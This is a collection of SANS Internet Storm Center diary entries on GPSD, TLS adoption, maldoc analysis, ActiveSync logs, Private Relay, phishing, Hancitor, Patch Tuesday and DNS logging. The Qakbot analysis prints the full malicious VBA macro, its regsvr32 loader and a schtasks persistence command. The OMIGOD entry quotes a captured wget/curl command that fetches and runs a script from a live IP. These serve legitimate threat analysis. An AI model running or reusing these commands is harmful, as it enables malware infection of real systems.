The Network Time Protocol (NTP) has been critical in ensuring time is accurately kept for various systems businesses and organizations rely on. Authentication mechanisms such as Time-based One-Time Password (TOTP) and Kerberos also rely heavily on time. As such, should there be a severe mismatch in time, users would not be able to authenticate and gain access to systems. From the perspective of incident handling and incident response, well-synchronized time across systems facilitates log analysis, forensic activities and correlation of events. Depending on operational requirements, organizations may choose to utilize public NTP servers for their time synchronization needs. For organizations that require higher time accuracy, they could opt for Global Positioning Systems (GPS) appliances and use daemons such as GPSD [1] to extract time information from these GPS appliances.

A reader recently highlighted to us a bug in the GPSD project that could cause time to rollback in October 2021 [2]. Due to the design of the GPS protocol, time rollback (or technically termed “GPS Week Rollover”) can be anticipated and usually closely monitored by manufacturers [3]. The next occurrence should have been in November 2038 [3], but a bug in some sanity checking code within GPSD would cause it to subtract 1024 from the week number on October 24, 2021 [4]. This would mean NTP servers using the bugged GPSD version would show a time/date of March 2002 after October 24, 2021 [2].

The affected versions of GPSD are versions 3.20-3.22 [2]. The maintainer of GPSD, Gary E. Miller, indicated that users should upgrade to version 3.23.1 (released on September 21, 2021) as older versions (such as 3.19 and 3.20) are unsupported and had bugs [5]. For organizations that are using GPS appliances or rely on GPSD, it is recommended to check if GPSD is being utilized anywhere in the infrastructure and check its corresponding version. It is likely that an upgrade to GPSD will be required if no recent upgrades were performed. It is also recommended that blue teams keep a mental note of the date October 24, 2021. If systems that had been authenticating normally start to have authentication issues after October 24 2021, it could be due to a mismatched date and time (likely March 2002) caused by time synchronization with an errant NTP server running a bugged version of GPSD.

Based on the date where the bug will be triggered on bugged versions of GPSD, there is still about 3 weeks before the week of October 24, 2021. System owners and administrators should be in the nick of time (no pun intended!) if they start checking and patch GPSD now.

References:
[1] https://gpsd.gitlab.io/gpsd/
[2] https://gitlab.com/gpsd/gpsd/-/issues/144
[3] https://www.gps.gov/support/user/rollover/
[4] https://gitlab.com/gpsd/gpsd/-/issues/144#note_633479883
[5] https://gitlab.com/gpsd/gpsd/-/issues/144#note_689396224

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

It has been over 3 years since the specification for TLS 1.3 was published[1], and although the protocol has some minor drawbacks, it is undoubtedly the most secure TLS version so far. One would therefore hope that the adoption of TLS 1.3 and its use on web servers around the globe would steadily increase over time (ideally hand in hand with a slow disappearance of older cryptographic protocols, especially the historic SSL 2.0 and SSL 3.0).

If we go by the numbers gathered from Shodan over the last 12 months, it seems that we are indeed moving in the right direction, as the following charts show.

Overall, there currently seem to be approximately 15.8 million web servers accessible on the internet that support TLS 1.3, and their number is steadily rising, while only about 3.5 million such servers still support SSL 3.0 and about 780 thousand support SSL 2.0.

While the “global” charts paint an interesting picture, the sharp dip in relative values at the end of July that may be seen in all of the charts seems to be strange to say the least. My assumption is that this did not reflect the real state of affairs and was caused by some detection issue on the part of Shodan, though I might be wrong.

In any case, the same dip is not visible if we only look at the numbers related to web servers located within the borders of the European Union.

As we may see, about one third of all web servers in the EU currently seem to support TLS 1.3, while SSL 3.0 is supported by less than 5% and SSL 2.0 by less than 0.75% of such servers.

While on the topic of SSL 2.0 and 3.0, one further point deserves a short mention.

One might expect that the old cryptographic protocols would be mostly used by older devices (IoT, routers, etc.) and that their support would be more or less the same - i.e. it would be uniformly distributed - across the world. Although the first assumption might be correct to some degree, the second one does not seem to be, if one looks at the numbers…

In general, situation in most countries does seem to be similar to the global state of affairs or EU state of affairs, i.e., a large percentage of web servers supports TLS 1.2, a non-insignificant percentage supports TLS 1.3 and the deprecated TLS 1.1 and 1.0, and only very few web servers still support either version of SSL.

As it turns out, this is however not true for all countries around the world, as the following chart, which shows the situation in the 20 countries with largest relative support for SSL 2.0 demostrates.

It seems that although overall, the “disposal” of SSL 2.0 and 3.0 is going fairly well, and support of TLS 1.3 is increasing, there are still parts of the world where SSL still remains the undisputed king, or at least a strong contender…

[1] https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_1.3

-----------
Jan Kopriva
@jk0pr
Alef Nula

I did record a video for my diary entry "Strings Analysis: VBA & Excel4 Maldoc", showing how to use CyberChef to analyze a maldoc.

If you are intested in CyberChef, I have more CyberChefs videos here.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Malware analysis is difficult.

But there is one method that everybody can follow, even without command-line skills: strings analysis.

This method consists of running a tool on a binary file, like a maldoc, to extract all plaintext strings. There are command-line tools to do this, and even GUI tools.

Of course, there are many ways to make strings analysis impossible, by making the plaintext strings unreadable. Simple file compression is an example.

Xavier's diary entry "Excel Recipe: Some VBA Code with a Touch of Excel4 Macro" malicious document uses a sophisticated method: it combines VBA and Excel 4 macros to download Qakbot. Despite this complexity, strings analysis can be performed on this maldoc to find the URLs.

I found a similar maldoc on VirusTotal (it's also on Malware Bazaar).

For this diary entry, I will analyze this maldoc with CyberChef:

First step: I add the maldoc as input:

Second step: I search for the strings operation:

Third step: I add the strings operation to the recipe:

If I browse through the output, I will find the URLs. But I want to automate that too.

Fourth step: I search for the regex operation:

Last step: I add the regex operation to the recipe, and configure it to use the buildtin URL regex and output matches only:

Now, these URLs are actually incomplete. The maldoc's script will add a path to these URLs that is a timestamp terminated with ".dat".

But despite that, the IPv4 addresses we found here, are good IOCs to get started.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Today, smartphones are everywhere and became our best friends for many tasks. Probably your users already access their corporate mailbox via a mobile device. If it's not yet the case, you probably have many requests to implement this. They are two ways to achieve this: you provide corporate devices to all users. From a risk perspective, it's the best solution: you select the models and control them. But it's very expensive and people don't like to carry two devices (a personal and a corporate one). Hopefully, if you use a Microsoft Exchange platform, there are ways to authorize personal devices to access corporate emails with a software component called ActiveSync[1]. ActiveSync allows deploying basic security policies like forcing the device to be locked with a password, force a minimum password length, etc. However, it's not a real MDM ("Mobile Device Management").

But you've hundreds or thousands of users connecting their mobile devices to your Exchange server how to keep an inventory of models, hardware, etc. Especially if the system administrators are not ready to share some information with your security team? ActiveSync is based on open protocols: HTTP(S) and XML. To synchronize, the ActiveSync server must be facing the Internet like any web server. So it mean we can gather some logs? Via a reverse-proxy or directly on the IIS server running the ActiveSync service?

Because network data is a goldmine (you can learn this topic in FOR572[2] - "Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response"), let's have a look at the IIS logs, located in C:\inetpub\logs\LogFiles\W3SVC1\*.log. Here is a sample HTTP request: (the line is pretty long and has been beautified)

2021-09-20 12:10:46 192.168.4.101 POST /Microsoft-Server-ActiveSync/default.eas \
  Cmd=Ping&User=domain.test%5Cuser01&DeviceId=XXXXXXXX&DeviceType=SamsungDevice& \
  CorrelationID=<empty>;&ClientId=XXXXXXXXX&cafeReqId=817b3ec9-6360-4526-a738-xxxxxxxxxxxx; \
  443 domain.test\user01 10.0.0.11 Android-SAMSUNG-SM-G950F/101.9 - 200 0 0 609

One of the interesting fields is the User-Agent (like any HTTP request) but the ActiveSync client submits the device model, OS & version through this field! Here are some User-Agent strings:

Android-LG-G810/9.10.11
Android-SAMSUNG-SM-A505FN/101.10
Apple-iPad5C3/1807.82
Apple-iPhone10C4/1807.69
Apple-iPhone13C4/1807.82

Wait, did you read carefully the last sample? Does it mean that some users are already happy owners of a brand new iPhone 13? Unfortunately, it's not so easy! The ActiveSync user-agent does not reflect the model in "clear". It contains a reference to a model and you must convert it to the right device name. Example with "Apple-iPhone10C4/1807.82":

"iPhone 10C4" = "iPhone 8"
"1807.69" = "iOS 14.7"

How do we find the corresponding values? There are plenty of lists available online like this one for iOS[3]

Now, you have all the requirements to build an inventory of all the mobile devices connecting to your ActiveSync instance and learn about:

• Outdated devices
• Suspicious devices (based on models not sold in Europe or your region)
• People using multiple devices (because we also have the username in the HTTP event log)
• ...

[1] https://docs.microsoft.com/en-us/exchange/clients/exchange-activesync/exchange-activesync?view=exchserver-2019
[2] https://for572.com
[3] https://justworks.ca/blog/ios-and

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Microsoft Excel supports two types of macros. The legacy format is known as “Excel4 macro” and the new (but already used for a while) is based on VBA. We already cover both formats in many diaries[1][2]. Yesterday, I spotted an interesting sample that implements… both!

The malicious file was delivered through a classic phishing email and is called “Document_195004540-Copy.xls” (SHA256:4f4e67dccb3dfc213fac91d34d53d83be9b9f97c0b75fbbce8a6d24f26549e14). The file is unknown on VT at this time. It looks like a classic trap:

The document contains some VBA code:

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls
  1:       103 '\x01CompObj'
  2:       240 '\x05DocumentSummaryInformation'
  3:       208 '\x05SummaryInformation'
  4:    180804 'Workbook'
  5:       597 '_VBA_PROJECT_CUR/PROJECT'
  6:       116 '_VBA_PROJECT_CUR/PROJECTwm'
  7:        97 '_VBA_PROJECT_CUR/UserForm1/\x01CompObj'
  8:       301 '_VBA_PROJECT_CUR/UserForm1/\x03VBFrame'
  9:       226 '_VBA_PROJECT_CUR/UserForm1/f'
 10:       272 '_VBA_PROJECT_CUR/UserForm1/o'
 11: M    3768 '_VBA_PROJECT_CUR/VBA/Module1'
 12: m     991 '_VBA_PROJECT_CUR/VBA/Sheet1'
 13: M    3010 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 14: m    1195 '_VBA_PROJECT_CUR/VBA/UserForm1'
 15:      3860 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 16:      2004 '_VBA_PROJECT_CUR/VBA/__SRP_0'
 17:       138 '_VBA_PROJECT_CUR/VBA/__SRP_1'
 18:       212 '_VBA_PROJECT_CUR/VBA/__SRP_2'
 19:       206 '_VBA_PROJECT_CUR/VBA/__SRP_3'
 20:       864 '_VBA_PROJECT_CUR/VBA/dir'

Here is the interesting macro (stream 11):

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls -s 11 -v
Attribute VB_Name = "Module1"
Sub auto_open()
  On Error Resume Next
  Application.ScreenUpdating = False
  Set Fera = Excel4IntlMacroSheets
  Fera.Add.Name = "Sheet3"
  Sheets("Sheet3").Visible = False
  Sheets("Sheet3").Range("A1:M100").Font.Color = vbWhite
  Sheets("Sheet3").Range("H24") = UserForm1.Label1.Caption
  Sheets("Sheet3").Range("H25") = UserForm1.Label3.Caption
  Sheets("Sheet3").Range("H26") = UserForm1.Label4.Caption
  Sheets("Sheet3").Range("K17") = "=NOW()"
  Sheets("Sheet3").Range("K18") = ".dat"
  Sheets("Sheet3").Range("H35") = "=HALT()"
  Sheets("Sheet3").Range("I9") = UserForm1.Label2.Caption 
  Sheets("Sheet3").Range("I10") = UserForm1.Caption
  Sheets("Sheet3").Range("I11") = "JJCCBB"
  Sheets("Sheet3").Range("I12") = "Byukilos"
  Sheets("Sheet3").Range("G10") = "..\Xertis.dll"
  Sheets("Sheet3").Range("G11") = "..\Xertis1.dll"
  Sheets("Sheet3").Range("G12") = "..\Xertis2.dll"
  Sheets("Sheet3").Range("I17") = "regsvr32 -silent ..\Xertis.dll"
  Sheets("Sheet3").Range("I18") = "regsvr32 -silent ..\Xertis1.dll"
  Sheets("Sheet3").Range("I19") = "regsvr32 -silent ..\Xertis2.dll"
  Sheets("Sheet3").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
  Sheets("Sheet3").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
  Sheets("Sheet3").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
  Sheets("Sheet3").Range("H9") = "=REGISTER(I9,I10&J10,I11,I12,,1,9)"
  Sheets("Sheet3").Range("H17") = "=EXEC(I17)"
  Sheets("Sheet3").Range("H18") = "=EXEC(I18)"
  Sheets("Sheet3").Range("H19") = "=EXEC(I19)"
  Application.Run Sheets("Sheet3").Range("H1")
End Sub

Sub auto_close()
  On Error Resume Next
  Application.ScreenUpdating = True
  Application.DisplayAlerts = False
  Sheets("Sheet3").Delete
  Application.DisplayAlerts = True
End Sub

First, the attacker wrote some “good” code because a new sheet ("Sheet3") is created and, when the document is closed, the sheet is removed! (Via the auto_close() function).

The magic line is this one:

Set Fera = Excel4IntlMacroSheets

See the Microsoft documentation[3]. An Excel4 macro is injected into the created sheet and executed. What does it do?

It downloads the second stage payload from three different URLs (stored in a form):

hxxp://45[.]153[.]242[.]159/44461.9891568287.dat
hxxp://188[.]165[.]62[.]61/44461.9891568287.dat
hxxp://185[.]198[.]57[.]109/44461.9891568287.dat

The downloaded file is called Xertis.dll (SHA256:b8b8895cdf37dba76f9966ec100ac85cc0f70dfd79f09a175454b5062d21c25d) and again unknown on VT. This is a DLL that is loaded into the system via this command:

regsvr32 -silent ..\Xertis.dll

Persistence is implemented via a scheduled task:

"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn wxhfetombc /tr "regsvr32.exe -s \"C:\Users\user01\Xertis.dll\"" /SC ONCE /Z /ST 23:45 /ET 23:57

Once I infected my lab, the following C2 traffic was generated:

It’s a Qakbot sample...

The VBA macro was not obfuscated but the idea of mixing VBA with Excel4 was pretty clever to defeat many hunting rules.

[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750
[2] https://isc.sans.edu/forums/diary/VBA+Macro+Trying+to+Alter+the+Application+Menus/27068
[3] https://docs.microsoft.com/en-us/office/vba/api/excel.application.excel4intlmacrosheets

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A Twitter follower sent me a link to an interesting maldoc on Malware Bazaar (thanks).

It's a Word document (OOXML) that exploits vulnerability %%CVE:2021-40444%%.

If you follow the steps of my diary entry "Simple Analysis Of A CVE-2021-40444 .docx Document" you will not find an unusual URL. I'll explain why in this diary entry.

This is the content of the maldoc (using my tool zipdump.py):

Let's look into the documents.xml.rels file:

Here you see many numeric character references in this XML file, like &#109. This particular numeric character reference represents the letter m (ASCII 109).

We can use my tool numbers-to-string.py to convert these numbers to their corresponding character, like this:

And then we see the URL.

My xmldump.py tool converts these numeric charcter references too, that is another method to deobfuscate:

Now, let's come back to the output of zipdump:

Remark that the timestamps vary: some of them are 1980-01-01 00:00:00, and other are 2021-09-16.

When Office applications create an OOXML file, they do not encode the current time into the ZIP container's records, they use 1980-01-01 00:00:00. While ZIP tools will use the current time.

So this maldoc has most likely been created with Word, and has then been edited with another tool. This might well be one of the maldoc generator tools that have been released for CVE-2021-40444.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

One of the notable additions to iOS 15, which was officially released yesterday, is its "Private Relay" feature [1]. Unlike a "simple" VPN, the private relay does appear to be more of a proxy service for HTTP, and it uses two hops with distinct entities to not allow one entity to become the new single-point-of-privacy-failure.

An "Apple+" subscription is required to use a private relay. All connections are authenticated with Apple. Apple states that it has some anti-abuse features in place but only mentions rate-limiting as one specific feature. Unlike most VPN services, Apple publishes a list of their egress IP addresses, including the geolocation assigned to them [2]. It does not appear to be possible to alter your geolocation using Private Relay. One setting allows for a "more relaxed" location matching. Many people sign up for VPN services to watch content designated for a particular location. Apple's private relay does not appear to support this use case.

So, in short, Apple focuses on privacy with its Private Relay. The Private Relay appears to be limited to HTTP(s) traffic. Application not using HTTP(s) do not appear to use Private Relay. I used as a test the "Speedtest" application from Ookla, and it still displayed my actual ISP.

Each Private Relay egress point uses an IPv4 and IPv6 IP address. Even if your network is IPv4 only, you will be able to connect to IPv6 resources. This confused me at first, as my home network does not use IPv6 right now, and I still appeared to use an IPv6 address. My first guess was that some traffic still used the IPv6 address provided by the cell phone interface. But I ruled that out by disabling the cell phone interface. If the LTE/5G is used, the IPv6 address used is Apple's and not the ISPs. So both IPv4 and IPv6 addresses are anonymized.

After enabling Private Relay (Settings->iCloud->Private Relay), you will see the following DNS requests/responses for mask.icloud.com (A records and a HTTPS RR [Type 56]). The IP address I got for mask.icloud.com was in the 139.178.128.0/17 network, a network owned by Apple, but not its usual 17/8 network.

The connection to the relay uses QUIC to port 443/UDP and TLS 1.3. The client hello includes the server name extension and the server name "mask.icloud.com." Only 3 cipher suites are offered (TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256). The server ends up selecting the AES128 suite. Application Layer Protocol Negotiation (ALPN) is also used, with unsurprisingly HTTP/3 being the only option.

The HTTPS RR is interesting. It is not yet finalized as an RFC as far as I know [3][4]. But I have seen it pop up occasionally. For the case of mask.icloud.com, I did not get a response for the HTTPS RR. Maybe it will show up in the future. But the idea is that part of the ALPN negotiation will happen via DNS. HTTPS RR is a performance feature, but it can also be used for encrypted client hellos (ECH), which is supposed to replace respective TXT records that have been used in the past to encrypt the server name option.

So in short:

• Does "Private Relay" replace VPNs: No. Private Relay appears only to encrypt/anonymize HTTP(S) traffic. Some Apps may still reveal your actual IP address. But as far as Safari goes, it works like a VPN. You are also not able to appear in a different location.
• Can you block the use of "Private Relay" in a corporate network: Yes. Overwrite/block DNS requests for mask.icloud.com and mask-h2.icloud.com (I didn't see the second hostname, but "Private Relay" may use it per Apple's documentation)
• Can I block people from using "Private Relay" to accessing my site: Yes. You would need to block Apple's long list of egress points. But there appears to be little point in blocking them.
• Are websites still able to track me? Yes and no. Websites usually do not rely on the IP address to track you but on cookies and other browser features. Private Relay only hides your IP address. It solves the "last mile" privacy issue of ISPs tracking your behavior.

Private Relay does offer some additional privacy protections. It is a bit less than a "real" VPN, but close to it and easier to use. (plus free if you already have iCloud+).

[1] https://developer.apple.com/support/prepare-your-network-for-icloud-private-relay/
[2] https://mask-api.icloud.com/egress-ip-ranges.csv
[3] https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-svcb-https-07
[4] https://blog.cloudflare.com/speeding-up-https-and-http-3-negotiation-with-dns/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

After the "OMIGOD" vulnerability details were made public, and it became obvious that exploiting vulnerable hosts would be trivial, researchers and attackers started pretty much immediately to scan for vulnerable hosts. We saw a quick rise of scans, particularly against %%port:1270%%. [1]

Some of the attacks originated from research projects that apparently enumerated vulnerable hosts. Scans we have linked to researchers appear so far to scan for the open port and do not send any specific attack payload. But we also see "genuine" exploits of the vulnerability. Azure is probably the most target-rich environment, with more than half of all hosts running Linux. Many of them have the Open Management Interface (OMI) software pre-installed by default. Azure is also leaving it up to the users to patch this software that they may not know is installed. Our data comes from our honeypot network, which is not specifically covering Azure so far. The OMI software may also be installed outside of Azure. It makes sense for attackers to scan the entire internet as hosts outside of Azure may not consider themselves vulnerable.

One exploit that just hit our honeypot (formatted for easier readability)

At this point, all of the exploits we have seen appear to test the vulnerability and do not (yet?) deploy any actual payloads. Others have observed some "Mirai" style payloads being deployed.

Here are the most common commands we see executed (sometimes, the command is Base64 encoded):

wget -O lolol.sh http://103.116.168.68/lolol.sh; curl -o lolol.sh http://103.116.168.68/lolol.sh; chmod 777 lolol.sh; sh lolol.sh

This is a typical botnet propagation command. At the time I looked for it, the lolol.sh script was no longer available, and the URL returned a 404 error.

wget http://103.116.168.68/test1270

I have seen the same command against the other ports associated with "OMI," using different 'test' URLs. The URL is not reachable. Note how the IP is the same as above.

In addition, I have seen some simple requests using "id" or "whoami," typical checks if the vulnerability is exploitable.

Interestingly, I have seen only one IP in our honeypots for the 'wget' or 'curl' commands, but the requests originated from 125 different source IPs just today alone. This appears to be one botnet, and I guess that right now, they are just looking for vulnerable systems (hitting the above URL would prove you to be vulnerable). 

As far as scans against related ports (%%port:1270%%, %%port:5986%%, %%port:5987%%), below is a graph of the targets seeing scans on these ports:

It is interesting how the scans slowly increased in September before the vulnerability was announced, and something that needs a bit more time to look into.

Almost exactly half of the scans to these ports come from researchers. The "Strechoid" network appears to be most active, but others like Shodan, Internet Census, Onyphe, Cyber.casa, Internettl and so on are participating. Not all of these are typically publishing results, but for those that do expect a lot of identical papers/news releases soon with headlines like "1000's of exposed hosts found vulnerable to OMIGOD" (if they didn't find much) or "10s of 1000s of exposed hosts found vulnerable to OMIGOD" (if they found more).

So far, there is a lot of recon happening. But this is a MUST PATCH NOW vulnerability, and if you are finding an exposed host inside Azure running OMI, assume compromise.

[1] https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I created a video for the analysis I described in my last diary entry "Simple Analysis Of A CVE-2021-40444 .docx Document".

I also cover another sample in that video, that is a bit harder to analyze (and has much lower detection rates on VT).

Remark that I always make sure that you can find the samples I analyze on Malware Bazaar too.

And here is the InQuest blog post I mention in the video: "Microsoft MSHTML Remote Code Execution Vulnerability".

The tools I use in this video: zipdump.py, re-search.py and xmldump.py.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Analyzing a malicious Word document like prod.docx that exploits %%cve:2021-40444%% is not difficult.

We need to find the malicious URL in this document. As I've shown before, this is quite simple: extract all XML files from the ZIP container (.docx files are OOXML files, that's a ZIP container with (mostly) XML files) and use a regular expression to search for URLs.

This can be done with my tools zipdump.py and re-search.py:

OOXML files contain a lot of legitimate URLs. Like schemas.microsoft.com. These can be filtered out with my tool re-search.py:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Did this threat really disappear? This isn’t a brand new technique to deliver malicious content to mobile devices but it seems that attackers started new waves of spam campaigns based on malicious calendar subscriptions. Being a dad, you can imagine that I always performed security awareness with my daughters. Since they use computers and the Internet, my message was always the same: “Don’t be afraid to ask me, there are no stupid questions or shame if you think you did something wrong”.

A few days ago, my youngest one came to me and told me she had the impression that her iPhone was hacked. After a quick check and reassuring her, I switched my dad's cap to the handler one and had a deeper look.

She told me that a pop-up was displayed on the screen and clicked on “Ok” too quickly. It was an unwanted calendar invitation and she subscribed to a spam feed. Her calendar became quickly flooded with events:

They are in French but easy to understand. They pretend to notify you about viruses found on the device and, using reminders, they keep the pressure on the victim:

If you visit the proposed link, you'll get more annoying ads pages, etc. This time hopefully, nothing very malicious but, seeing the latest iOS vulnerabilities[1], this technique could be used to deliver exploits. To get rid of all those messages, you just need to unsubscribe from the calendar.

In conclusion, already read carefully all popups displayed on your mobile phones (obviously on any type of device!).

[1] https://support.apple.com/en-us/HT212807

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

There are many e-mail subjects that people tend to associate with phishing due to their overuse in this area. Among the more traditional and common phishing subjects, that most people have probably seen at some point, are variations on the “Your account was hacked”, “Your mailbox is full”, “You have a postal package waiting”, “Here are urgent payment instructions” and “Important COVID-19 information” themes.

Since security awareness courses often explicitly cover these, and e-mail messages with similar subjects are therefore usually classified by users as prima facie phishing attempts, one would reasonably expect that when a threat actor decides to use any such subject line, they would at least try to make the body of the e-mail a little more believable… However, as it turns out, this is not always the case.

We’ve recently received a phishing on our Handler e-mail address, which I found interesting, since its authors obviously decided to go the “all in” route when came to the use of multiple obviously suspicious message subjects, rather than try to make their creation more believable.

“But how could a single phishing e-mail have multiple subjects”, I hear you ask, dear reader.

Well, in this case, the phishing was a variation on the “You have undelivered e-mail messages waiting” theme, but instead of a list of urgent looking, yet believable subject lines, it contained pretty much the whole aforementioned set of suspicious-at-first-glance subjects, as you may see for yourself in the following image…

Apart from this rather interesting (and slightly funny) approach on the side of its authors, the e-mail was rather a low-quality example of a phishing, its less than professional origins showing – among other places – in the fact that multiple links pointed to URLs that were obviously intended for previous recipients/recipients from other domains.

The only link that did lead to a phishing page pointed to an HTML document hosted on the Google Firebase Storage that, when accessed, displayed a dynamically generated login prompt and tried to load a web page hosted on the domain to which the e-mail address belonged in an iframe bellow this prompt in an attempt to make the login request look more believable (a technique that is fairly common[1], which provides another good reason why it’s advisable to use CSP/X-Frame-Options headers on ones webservers).

IoC
hxxps://firebasestorage[.]googleapis[.]com/v0/b/g656-6f582.appspot.com/o/hghhg.html?alt=media&token=3a94d041-9a90-4428-85ca-41779f9605a1#address@domain.tld

[1] https://isc.sans.edu/forums/diary/Slightly+broken+overlay+phishing/26586/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Introduction

Malicious spam (malspam) pushing Hancitor malware (AKA: Chanitor, MAN1, or Moskalvzapoe) sometimes changes tactics when delivering malware .  Since June 2021, this campaign stopped using docs.google.com links in their malspam and began using feedproxy.google.com to kick off an infection chain.  Criminals behind Hancitor have been abusing Google services since October 2020.

These Google links redirect to a URL from another domain.  This new "redirect URL" delivers a Hancitor Word document.  These "redirect URLs" return a web page with script using base64 text to generate a Hancitor Word document as described here.  The base64 text is converted to a malicious Word document and shows up in the web browser as a file to save.

But in September of 2021, this campaign stopped using script with base64 text.  Instead, Hancitor Word docs are now hosted on Microsoft OneDrive URLs.  The Hancitor campaign is currently abusing both Google and Microsoft services.

Shown above:  Change in tactics for Hancitor malware distribution seen in September 2021.

Previous method: script with base64 text

See below for images of traffic from a "redirect URL" that returned script with base64 text to generate a Hancitor Word document.

Shown above:  Script with base64 text used to generate Hancitor Word doc (part 1 of 2).

Shown above:  Script with base64 text used to generate Hancitor Word doc (part 2 of 2).

New method: OneDrive URLs

Instead of script using base64 text to generate a Hancitor Word doc, these "redirect URLs" now present script with OneDrive URLs to deliver a Word doc.  See the images below from Tuesday 2021-09-14.

Shown above:  Script from "redirect URLs" now have OneDrive links.

Shown above:  Manually using the OneDrive URL to download a Hancitor Word doc.

Final words

A packet capture of the infection traffic, 18 email examples, some malware samples, and a list of IOCs from a Hancitor infection on Tuesday 2021-09-14 are available here.  Another Hancitor run has also occurred today on Wednesday 2021-09-15.

We continue to see criminals abusing services offered by companies like Google, Microsoft, and other big names.  While the malicious links can be quickly reported and taken off-line, criminals merely return to establish new URLs using the same services.

This is a cycle we see over and over again.  As long as it remains cost-effective for criminals to operate this way, they will continue to abuse these services.

Hancitor is just one of many campaigns that routinely engage in such abuse.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 86 vulnerabilities. Of these, 3 are critical, 1 vulnerability (MSHTML Vulnerability) was previously disclosed and is being according to Microsoft.

As expected, Microsoft released the patch for the zero-day (CVE-2021-40444) affecting MSHTML that could allow an attacker to execute remote code on an affected system. According to the advisory, an attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. The CVSS for this vulnerability is 8.80 (out of 10).

Also of note is a critical vulnerability in Microsoft Open Management Infrastructure (CVE-2021-38647). This open-source project lead by Microsoft implements web-based enterprise management standards and the vulnerability may be used for remote code execution. The CVSS for this vulnerability is 9.80.

Finally, a remote code execution affecting Windows WLAN AutoConfig Service was fixed (CVE-2021-36965). According to the advisory, this vulnerability affects virtually all supported Windows versions, may be exploited by an attacker on an adjacent network, requires no privilege and no user interaction. The CVSS for this vulnerability is 8.80.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

September 2021 Security Updates

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

This parser takes the logs from a Windows 2012R2 and/or 2019 server (C:\DNSLogs\windns.log) and parses them into usable metatada which can be monitored and queried via an ELK dashboard. The logs have been mapped using DNS ECS field meta here [1].

→ First step is to load the Microsoft DNS templates [3][4] via Kibana Dev Tools to create the microsoft.dns Index Management and Index Lifecycle Policy. Follow the instructions at the top of each template.

→ Second step is to install Logstash (if not already done) and add to Logstash [2] this configuration file (i.e. /etc/logstash/conf.d/logstash-filter-ms-dns.conf) and start the logstash service.

This configuration file also contains the option of resolving the IP addresses to hostname and should be adjusted to reflect the local internal network. Edit logstash-filter-ms-dns.conf and change 192.168.25 to reflect the local network:

# This filter drop internal domain and internal IP range with in-addr.arpa
# This reduce the amount of noise
filter {
  if [log][file][path] =~ "windns.log" {
    if [dns.question.name] =~ /168\.192\.in-addr\.arpa/ {
      drop {}
    }
    if [dns.question.name] =~ /erin\.ca/ {
      drop {}
    }
  }
}

# DNS lookup for dns.resolved_ip that start with 192.168.25

filter {
  if [log][file][path] =~ "windns.log" and [dns.resolved_ip] =~ /192\.168\.25/ {
    mutate {
      copy => { "dns.resolved_ip" => "source.registered_domain" }
      convert   => { "geoip.postal_code" => "string" }
      # copy dns.question.name to related.host
      copy => { "dns.question.name" => "related.hosts" }
    }
    dns {
      reverse => [ "source.registered_domain" ]
      action => "replace"
    }
  }
}

→ Third step, Login Windows server and setup file-based DNS debug logging

Windows DNS Debug Logging is used to collect the logs. Queries are logged one per line. Enable DNS debug logging using these steps:

• Create directory: C:\DNSLogs
• Open the DNS Management console (dnsmgmt.msc).
• Right-click on the DNS Server name and choose Properties from the context menu.
• Under the Debug Logging tab, enable Log packets for debugging and configure as per picture below.
• File path and name: C:\DNSLogs\windns.log
• Maximum size (bytes): 5000000
• Apply the changes
• Verify the file C:\DNSLogs\windns.log is now receiving data

→ Forth step is to install filebeat on the Windows server (C:\Program Files\filebeat), configured as a service and change the filebeat.yml configuration to only contain the following information. Change the IP address in this file to the IP address (192.168.25.23) of the logstash service and install the filebeat service:

# This filebeat shipper is used for
# Microsoft DNS logs

# 9 Jan 2021
# Version: 1.0

filebeat.inputs:

# Filebeat input for Windows DNS logs

- type: log
  paths:
    - "C:/DNSLogs/windns.log"
  include_lines: ["^[0-9]{4}-"]
  fields_under_root: true

#==================== Queued Event ====================
#queue.mem:
#  events: 4096
#  flush.min_events: 512
#  flush.timeout: 5s

#queue.disk:
#  path: "/op/filebeat/diskqueue"
#  max_size: 10GB

#==================== Output Event ====================
output.logstash:
  hosts: ["192.168.25.23:5044"]

At this point, the logs should start going to ELK. From the Windows server, verify the connection has been established to logstash by running at the command line: netstat -an | findstr 5044

In the Elasticsearch server, under Stack Management → Index Management, look for an new instance with microsoft.dns-* (something like this: microsoft.dns-2021.09.10-000001) which should start collecting Microsoft DNS metadata.

